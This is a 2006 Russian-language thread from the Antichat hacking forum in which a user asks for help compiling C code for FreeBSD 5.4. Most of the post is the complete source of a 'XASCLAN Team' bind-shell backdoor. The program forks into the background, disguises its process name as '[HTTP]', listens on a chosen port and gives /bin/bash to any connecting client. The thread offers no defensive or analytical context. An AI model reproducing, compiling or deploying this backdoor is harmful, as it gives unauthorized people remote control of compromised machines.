ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Помогите откомпилить!!
  #1  
Старый 18.03.2006, 22:58
Аватар для LoFFi
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме:
1347867

Репутация: 408
Отправить сообщение для LoFFi с помощью ICQ
По умолчанию Помогите откомпилить!!

Срочно надо откомпилить под FreeBSD 5.4!!!
Первому гарантированый + !! =)
Код:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <strings.h>
#include <sys/types.h>

char shell[] = "/bin/bash";
char cmdname[] = "[HTTP]";
char message[] = "\n..::[XASCLAN Team : Bind Shell]::..\n";

int main(int arg, char **param[])
{ 
  int sd, datas; 
  int sins, port;
  char c;
  struct sockaddr_in saddr;
  struct sockaddr_in saddrd;

  sins = 0x10; // Size

  /* Arguments */
  if( arg != 2)
    { 
      printf("Usage: %s <port>\n", param[0]);
      exit(0);
    }

  /* Port check */
  port = atoi((char *)param[1]);
  if( port > 65535 | port < 1)
    {
      fprintf(stderr, "Error: Ports must be > 0 and < 65535\n");
      exit(1);
    }

  /* Creat socket struct */
  bzero(&saddr, sizeof(saddr));
  saddr.sin_family  = AF_INET;
  saddr.sin_port = htons(port);
  saddr.sin_addr.s_addr = INADDR_ANY;

  /* Creat socket */
  if(( sd = socket( AF_INET, SOCK_STREAM, 0)) < 0)
    {
      fprintf(stderr, "Error: Creat Socket Failed\n");
      exit(1);
    }

  /* Fork */
  if( fork() == 0)
    {
      /* Bind port */
      if( bind(sd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0)
        {
           close(sd);
           fprintf(stderr, "Error: Bind Failed\n");
           exit(1);
        }

      /* Listen port */
      if( listen(sd, 5) < 0) // Listen port. Max active connections = 5
        { 
          close(sd);
          fprintf(stderr, "Error: Listen Failed\n");
          exit(1);
        }         

      for(;;)
        {
          if(( datas = accept(sd, (struct sockaddr *) &saddrd, &sins)) > 0)
            {
              write(datas, message, sizeof(message));

              dup2(datas, 0);
              dup2(datas, 1);
              dup2(datas, 2);
             
              execl( shell, cmdname, 0);
              close(datas);
              exit(0);
            }
        }
    } 
    close(datas); 
}
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ребята помогите с ip!! Чаты 4 22.06.2008 19:50
помогите поломать чат? Чаты 1 23.06.2003 04:36



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ